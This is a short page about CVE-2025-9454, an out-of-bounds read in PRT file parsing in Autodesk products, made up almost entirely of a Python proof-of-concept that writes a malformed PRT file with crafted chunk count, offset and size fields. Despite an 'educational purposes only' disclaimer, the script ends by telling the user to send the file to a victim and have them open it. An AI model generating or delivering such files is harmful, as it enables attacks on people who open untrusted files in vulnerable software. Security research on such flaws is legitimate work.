CVE-2025-9454: Autodesk产品PRT文件解析越界读取漏洞

#!/usr/bin/env python3 """ CVE-2025-9454 PoC - Malicious PRT File Generator This PoC generates a malformed PRT file to trigger OOB read in Autodesk products. WARNING: For educational and security research purposes only. """ import struct import os def create_malicious_prt(output_path): """ Generate a malicious PRT file that triggers CVE-2025-9454 The vulnerability is in PRT file parsing that allows OOB read """ # PRT file magic number (Part file header) magic = b'PTR\x00' # PRT file signature # Malicious header with crafted size values # Trigger OOB read by setting invalid size/offset fields header = bytearray() header.extend(magic) # Version field header.extend(struct.pack('<I', 1)) # Crafted chunk count - causes parser to read beyond bounds chunk_count = 0xFFFFFFFF # Max uint32 to trigger OOB header.extend(struct.pack('<I', chunk_count)) # Malformed chunk header with invalid offset # This will cause the parser to read from invalid memory location invalid_offset = 0x7FFFFFFF # Large offset value invalid_size = 0xFFFFFFF0 # Unreasonably large size header.extend(struct.pack('<Q', invalid_offset)) # Chunk offset header.extend(struct.pack('<Q', invalid_size)) # Chunk size # Add padding data that will be parsed incorrectly padding_data = b'\x41' * 256 # 'A' padding header.extend(padding_data) # Write the malicious PRT file with open(output_path, 'wb') as f: f.write(header) print(f"[+] Malicious PRT file created: {output_path}") print(f"[+] File size: {len(header)} bytes") print(f"[!] This file may trigger CVE-2025-9454 when opened in affected Autodesk products") if __name__ == '__main__': output_file = 'CVE-2025-9454_malicious.prt' create_malicious_prt(output_file) print("\n[*] Usage: Send this file to victim and have them open it in Autodesk software")